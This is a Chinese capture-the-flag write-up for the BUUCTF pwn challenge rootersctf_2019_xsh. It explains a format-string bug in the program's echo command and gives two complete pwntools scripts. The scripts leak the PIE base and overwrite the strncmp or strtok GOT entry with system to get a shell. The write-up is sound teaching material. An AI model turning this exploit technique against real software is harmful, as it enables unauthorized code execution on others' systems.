BUUCTF pwn rootersctf_2019_xsh
查看保护,基本全开
IDA查看程序
程序读入命令,并通过子函数 run 执行
run函数
对读入的命令进行判断,只能执行ls, echo, zooo指令,
这里可以发现echo 命令存在format string 漏洞,
首先测试可以确定偏移为24
那么整体的思想就是修改程序提供的函数的got表为system@plt,然后再输入内容/bin/sh即可获得shell,目前可以利用的函数为strncmp和strtok函数
首先需要泄露piebase的值,这里介绍覆盖strncmp函数(strtok同理)
gdb调试
第三个%p位置泄露的是run+12在内存的位置,那么run+12=0x123d+12=0x1249
所以泄露的地址再减去0x1249即能得到piebase的地址,进一步获得system@plt的地址,strncmp@got的地址
这里system的地址需要加6
接下来就是修改strncmp的got内容为system@plt+6的值
构造payload为
其中low-7的7是12-5获得,12是b’echo’与2个p32的长度,-5是printf从第5个位置开始,那么已经填充的字符为7个
修改完后再次输入/bin/sh即可获得shell(多测试几次,远程测试能成功)
完整ex
from pwn import *context(log_level='debug')#io=process("./rootersctf_2019_xsh")
io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()payload=b'echo %3$p'io.sendline(payload)elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strncmp_got = elf.got['strncmp']
system_plt = elf.plt['system']+6io.recv()low=int(int((hex(system_plt)[-4:]),16))high=int(int((hex(system_plt)[-8:-4]),16))payload = b'echo' + p32(strncmp_got) + p32(strncmp_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()io.sendline(payload)io.recv()io.sendline(b'/bin/sh\x00')io.recv()
#pause()
io.interactive()
同理修改strtok函数,多次测试,本地能打通,远程不行
这里需要中间输入一个任意的命令,调用过strtok函数, 最后手动输入/bin/sh
完整ex
from pwn import *context(log_level='debug')io=process("./rootersctf_2019_xsh")
#io=remote("node3.buuoj.cn",26926)
elf=ELF("./rootersctf_2019_xsh")
#gdb.attach(io)
io.recv()payload=b'echo %3$p'io.sendline(payload)elf.address = int(io.recvuntil(b'\n',drop=True),16) - 0x1249
strtok_got = elf.got['strtok']
system_plt = elf.plt['system']+6io.recv()io.sendline(b'test')io.recv()low=int(int((hex(system_plt)[-4:]),16))high=int(int((hex(system_plt)[-8:-4]),16))payload = b'echo' + p32(strtok_got) + p32(strtok_got+2)
payload += '%{}c%24$n%{}c%25$n'.format(low-7, high-low).encode()io.sendline(payload)io.recv()io.sendline(b'ls')io.recv()
#pause()
io.interactive()
BUUCTF pwn rootersctf_2019_xsh相关推荐
- BUUCTF Pwn warmup
BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...
- 持续更新 BUUCTF——PWN(一)
文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...
- BUUCTF PWN rip1 WP
BUUCTF PWN rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...
- buuctf pwn bjdctf_2020_babyrop
buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- 持续更新 BUUCTF——PWN(三)
文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...
- Buuctf(pwn) picoctf_2018_rop chain 栈溢出
32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...
- BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc
思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...
- Buuctf(pwn) jarvisoj_tell_me_something 栈溢出
64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...
- Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算
32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...
最新文章
- Python使用numpy包编写自定义函数计算均方误差(MSE、mean squared error)、评估回归模型和时间序列模型、解读MSE评估指标
- lstm 和自注意力机制 bert 本质区别的思考历程
- 【控制】《多智能体系统一致性与复杂网络同步控制》郭凌老师-第3章-具有扩散作用的多智能体系统领导-跟随一致性
- 路径总和 II—leetcode113
- JS与Object-C交互补充
- Android 系统(98)---Android app 在线更新那点事儿(适配Android6.0、7.0、8.0)
- golang解决TCP粘包问题
- Memcached:高性能的分布式内存缓存服务器
- 初接触RTMP流媒体实时消息传输协议
- MFC 简单输出EXCEL - (OLE)
- linux jmeter 内存,怎么在Linux下改变JMeter内存
- 用Linux开发嵌入式项目拢共分几步?
- Axure获取焦点和触发事件
- 科技互联网都有啥热点信息?爬取虎嗅5万篇文章告诉你
- 前端开发SEO搜索引擎优化方案
- Kaggle泰坦尼克号比赛项目详解
- Unity获取手机app列表《三》安卓端
- 什么是溢出?补码加法运算如何判断是否溢出?
- MacBook 谷歌插件打包
- SpringBoot2核心技术最好的一篇文章——1.基础入门